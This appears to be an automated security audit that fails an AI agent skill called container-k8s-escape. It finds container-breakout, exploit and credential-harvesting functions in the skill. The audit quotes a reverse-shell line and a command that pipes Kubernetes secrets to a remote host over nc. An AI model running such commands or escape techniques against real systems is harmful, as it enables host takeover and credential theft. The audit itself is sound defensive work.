container-k8s-escape

Fail

Audited by Gen Agent Trust Hub on Jul 20, 2026

Risk Level: HIGHCOMMAND_EXECUTIONDATA_EXFILTRATIONREMOTE_CODE_EXECUTIONCREDENTIALS_UNSAFE
Full Analysis
  • [COMMAND_EXECUTION]: The skill includes several scripts (such as scripts/k8s_rbac_audit.py and scripts/runc_cwd_escape.py) that utilize subprocess.run to execute shell commands. These scripts interact with container runtimes (docker, runc, containerd) and Kubernetes management tools (kubectl) to identify vulnerabilities and execute breakout commands.
  • [DATA_EXFILTRATION]: Multiple files contain hardcoded logic to exfiltrate sensitive data to the IP address 10.0.0.9. Specifically, scripts/nvidiascape_build.sh and references/ingress-admission-attacks.md include reverse shell commands (bash -i >& /dev/tcp/10.0.0.9/443) and credential theft pipes (kubectl --token=$TOKEN get secrets -A -o json | nc 10.0.0.9 443).
  • [REMOTE_CODE_EXECUTION]: The script scripts/nvidiascape_build.sh automates a remote code execution exploit for the NVIDIA Container Toolkit (CVE-2025-23266). It compiles a malicious C shared object at runtime using gcc and configures a container image to trigger the execution of this object on the host as the root user via OCI hooks.
  • [CREDENTIALS_UNSAFE]: The skill is designed to automatically locate and harvest highly sensitive credentials, including Kubernetes ServiceAccount tokens, cluster-admin configuration files (admin.conf), and host system files like /etc/shadow. It also attempts to extract cloud provider tokens from the Instance Metadata Service (IMDS).
  • [PRIVILEGE_ESCALATION]: The skill provides automated methods for breaking out of containers and escalating to host root privileges using techniques like nsenter to join the host PID namespace, manipulating cgroup release_agent settings, and hijacking the core_pattern kernel parameter.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Jul 20, 2026, 06:26 AM